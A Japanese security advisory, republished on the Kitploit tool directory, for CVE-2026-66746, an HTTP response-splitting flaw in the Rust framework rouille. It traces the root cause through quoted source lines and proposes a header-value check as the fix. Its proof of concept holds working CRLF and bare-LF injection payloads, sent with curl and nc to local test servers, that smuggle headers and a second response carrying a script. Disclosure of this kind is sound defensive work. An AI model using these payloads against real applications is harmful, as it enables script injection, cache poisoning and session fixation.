Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ツール/GitHubGitHub/theopaid/cve-2026-66746-http-response-splitting-via-unvalidated-response-header-values-rouille-
脆弱性分析コード分析ウェブアプリケーション悪用ウェブセキュリティペネトレーションテスト
GitHubtheopaid/cve-2026-66746-http-response-splitting-via-unvalidated-response-header-values-rouille-

CVE-2026-66746-HTTP-Response-Splitting-via-Unvalidated-Response-Header-Values-rouille-

セキュリティ勧告: 検証されていないレスポンスヘッダー値によるHTTPレスポンス分割 (rouille)

リポジトリを見る

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
23日前未レビュー

セキュリティアドバイザリ: 未検証のレスポンスヘッダー値によるHTTPレスポンススプリッティング (rouille)

割り当てられたCVE ID: CVE-2026-66746

概要

rouilleは、キャリッジリターンやラインフィードをチェックせずにレスポンスヘッダー値をクライアントに書き込みます。したがって、攻撃者の影響を受けたテキストをヘッダー値に配置するアプリケーションは、余分なヘッダー、または完全な2つ目のHTTPレスポンス全体をワイヤ上に送出します。

rouilleの2つの特性により、これは通常のコードで到達可能になります。Request::get_paramはパーセントデコードを行うため、クエリ文字列内の%0d%0aは実際のCRLFになります。またsession::sessionは、クライアント自身のCookie値を一切検証せずにSet-Cookieへコピーします。

他の広く使われているRust HTTPスタックはすべて、これを型レベルで拒否します。http::HeaderValue::from_strはCRとLFに対してInvalidHeaderValueを返すため、hyper、axum、actix-web、warpが同じように露出されないのはそのためです。

影響を受けるバージョン

リポジトリURL: https://github.com/tomaka/rouille

最初に影響を受けるバージョン以下のレスポンスヘッダーパスについては0.4.0 (2016-12-14)
最後に影響を受けるバージョン3.6.2 (2023-04-24)、現在のリリース
修正バージョン執筆時点では修正版なし

0.4.0より前のリリースは、調査されなかった別のコードパスを通じてレスポンスを送出するため、どちらの影響もあるとは断定されていません。パスBで説明されているsession::sessionのリフレクションは0.3.2 (2016-12-02)以降に存在します。

深刻度

CWE-113 (HTTPヘッダーにおけるCRLFシーケンスの不適切な無害化)、CWE-93 (CRLFインジェクション)の特定のケースです。

CVSS 4.0 基本スコア 5.3 (中) CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N

脅威モデル

パスAは、リモートの認証されていない攻撃者と、攻撃者が提供するリンクをたどる被害者を必要とします。攻撃者は、アプリケーションがリクエスト由来の任意の文字列をレスポンスヘッダーに配置することを必要とします。nextやreturn_toクエリパラメータへのリダイレクトが一般的なケースです。

パスBは、アプリケーションがsession::sessionを呼び出してセッションIDを読み取ることだけを必要とします。攻撃者は自分自身のCookieヘッダーを制御するため、それ自体は自己攻撃に過ぎません。共有キャッシュが分割されたレスポンスを保存する場合、または被害者のブラウザにクッキーを設定する別の方法と組み合わせた場合に、他人への攻撃になります。

根本原因

rouille/src/lib.rsの624行目から640行目は、値をそのまま渡しています:

root@kitploit:~
624              for (key, value) in rouille_response.headers {
625                  if key.eq_ignore_ascii_case("Content-Length") {
626                      continue;
627                  }
628  
629                  if key.eq_ignore_ascii_case("Upgrade") {
630                      upgrade_header = value;
631                      continue;
632                  }
633  
634                  if let Ok(header) = tiny_http::Header::from_bytes(key.as_bytes(), value.as_bytes())
635                  {
636                      response.add_header(header);

Header::from_bytesはバイトがASCIIであることだけをチェックし、CRとLFはASCIIです。tiny_http-0.12.0/src/common.rsの166行目から172行目:

root@kitploit:~
166      pub fn from_bytes<B1, B2>(header: B1, value: B2) -> Result<Header, ()>
...
171          let header = HeaderField::from_bytes(header).or(Err(()))?;
172          let value = AsciiString::from_ascii(value).or(Err(()))?;

その後、値はエスケープなしで書き込まれます。tiny_http-0.12.0/src/response.rsの99行目から104行目:

root@kitploit:~
 99      for header in headers.iter() {
100          writer.write_all(header.field.as_str().as_ref())?;
101          write!(&mut writer, ": ")?;
102          writer.write_all(header.value.as_str().as_ref())?;
103          write!(&mut writer, "\r\n")?;
104      }

パスA、パーセントデコードされたクエリパラメータ

Request::get_paramはパーセントエスケープをデコードするため、呼び出し元は実際の制御文字を受け取ります。rouille/src/lib.rsの928行目から932行目:

root@kitploit:~
928              .map(|value| {
929                  percent_encoding::percent_decode(value.replace('+', " ").as_bytes())
930                      .decode_utf8_lossy()
931                      .into_owned()
932              })

パスB、リクエストから反映されるセッション識別子

rouille/src/session.rsは、59行目でクライアントのクッキーからキーを取得し、75行目から81行目でそれをレスポンスヘッダーに補間します:

root@kitploit:~
 59              key: cookie.into(),
...
 75          let header_value = format!(
 76              "{}={}; Max-Age={}; Path=/; HttpOnly",
 77              cookie_name, session.key, timeout_s
 78          );
 79          response
 80              .headers
 81              .push(("Set-Cookie".into(), header_value.into()));

概念実証

パスA

ステップ1. クエリパラメータへリダイレクトするサーバーを起動します。

root@kitploit:~
use rouille::Response;

fn main() {
    rouille::start_server("127.0.0.1:8002", |request| {
        let next = request.get_param("next").unwrap_or_else(|| "/".to_string());
        Response::redirect_303(next)
    });
}

ステップ2. パラメータに%0d%0aを入れてリクエストします。

root@kitploit:~
curl -sSi 'http://127.0.0.1:8002/?next=/a%0d%0aX-Injected:%20yes'

結果. X-Injectedが独自のヘッダーとして到着します:

root@kitploit:~
HTTP/1.1 303 See Other
Server: tiny-http (Rust)
Location: /a
X-Injected: yes
Content-Length: 0

ステップ3. ペイロードをヘッダーの終わりを越えて拡張し、完全な2つ目のレスポンスを送出します。

root@kitploit:~
curl -sSi 'http://127.0.0.1:8002/?next=/a%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E'

結果. 1つのリクエストに対して、2つの完全なレスポンス。2つ目には攻撃者が選んだステータス行、コンテンツタイプ、ボディが含まれます:

root@kitploit:~
HTTP/1.1 303 See Other
Location: /a
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html

<script>alert(1)</script>

パスB

ステップ1. 文書化されているセッションのイディオムを使用してサーバーを起動します。

root@kitploit:~
use rouille::{session, Response};

fn main() {
    rouille::start_server("127.0.0.1:8006", |request| {
        session::session(request, "SID", 3600, |s| {
            Response::text(format!("session id: {}", s.id()))
        })
    });
}

ステップ2. 値に単独のLFを含むクッキーを送信します。以下の\nは単一のラインフィード、\r\nはCRLFです。

root@kitploit:~
printf 'GET / HTTP/1.1\r\nHost: x\r\nCookie: SID=abc\nX-Injected: yes\r\nConnection: close\r\n\r\n' | nc 127.0.0.1 8006

結果. 値がSet-Cookieから抜け出して独自の行に現れます:

root@kitploit:~
Set-Cookie: SID=abc
X-Injected: yes; Max-Age=3600; Path=/; HttpOnly

パスBには、注目に値する3つの制限があります。通るのは単独のLFだけです。なぜならCRLFはtiny_http内でヘッダー行を終了させてしまうため、クライアントまたはキャッシュが単独のLFを終端として扱う必要があるからです。インジェクション地点より後ろのすべては、同じformat!による; Max-Age=3600; Path=/; HttpOnlyという接尾辞をまだ保持しているため、プリミティブはクリーンな任意ヘッダーではなく、固定された末尾文字列を持つヘッダーです。そして攻撃者は自分自身のクッキーしか制御できません。パスAにはこれらの制限はありません。

影響

オリジンのセキュリティコンテキストでのスクリプト実行、共有キャッシュが被害者のURLに対して注入されたレスポンスを保存するキャッシュポイズニング、注入されたSet-Cookieによるセッション固定化、そしてCSPやCORSなどのセキュリティヘッダーの上書き。パスAは実際のCRLFを生成するため、すべてのクライアントとキャッシュがそこで分割します。

対策

tiny_httpに渡す前に、rouille/src/lib.rsの634行目あたりのServer::processでヘッダー値を検証します:

root@kitploit:~
fn header_value_is_safe(v: &str) -> bool {
    !v.bytes().any(|b| b == b'\r' || b == b'\n' || b == 0)
}

問題のあるヘッダーを破棄するのではなく、レスポンス全体に対して500を返し、レスポンスを黙って変更するのではなく失敗を可視化します。

session::sessionでもセッションキーを検証します: [A-Za-z0-9]+ではないクッキー値を拒否し、代わりに新しいIDを生成します。Response::with_additional_header、with_unique_header、redirect_*コンストラクタでチェックすれば、アプリケーションの作者が対処できる呼び出し元の場所でエラーを表面化できます。

ツールをダウンロード